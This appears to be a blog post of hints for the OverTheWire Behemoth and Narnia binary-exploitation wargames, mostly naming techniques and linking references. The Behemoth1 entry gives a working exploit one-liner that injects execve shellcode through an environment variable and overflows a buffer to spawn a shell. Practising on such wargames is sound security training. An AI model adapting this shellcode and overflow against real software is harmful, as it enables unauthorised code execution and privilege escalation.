Overthewire: Behemoth

Behemoth is the next suggested level after narnia, while it still binary exploitation it does not provide the source code of the challenges. Thus requiring users to read the assembly code.

Behemoth0:
ltrace, strings

Behemoth1:
Shellcode Injections , buffer overflow

export LOGNAME=$(python -c "print '\"' + '\x90'*58 +'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\"'") (python -c "print '\x61'*79+ '\xfe\xde\xff\xff'";cat )| ./behemoth1

Behemoth2:
Absolute adressing


Just a comment :
Reading the main code this time we can see that that canary protection has been activated. You can see this using the following code

   0x08048579 <+12>:    mov    %gs:0x14,%eax
   0x0804857f <+18>:    mov    %eax,0x9c(%esp)
   0x08048586 <+25>:    xor    %eax,%eax

   0x08048620 <+179>:    mov    0x9c(%esp),%edx
   0x08048627 <+186>:    xor    %gs:0x14,%edx
   0x0804862e <+193>:    je     0x8048635 <main+200>
   0x08048630 <+195>:    call   0x80483f0 <__stack_chk_fail@plt>

OvertheWire: Narnia

I realised while solving the challenges is that sometimes you just want a little bit hint and not a complete walkthrough , So I am listing hints for narnia challenges

These challenges are based on C fundamentals and binary exploitation techniques which usually direct implementation in many cases. 



Level0 :
DIY

Narnia1:
Shellcode in environment variable

Narnia2:
Buffer Overflow + Shellcode

Narnia3:
Buffer Overflow , symlinks

Narnia4:
No hints for this

Narnia5:
https://www.owasp.org/index.php/Format_string_attack
http://forum.ouah.org/FormatString.PDF

Narnia6:
Function Pointer can be overwritten
https://www.exploit-db.com/docs/28553.pdf

Narnia7:
Format String Vulnerability
ltrace

Narnia8:
 


If you want more detailed explanation or have any doubts or are stuck somewhere , welcome to comment below.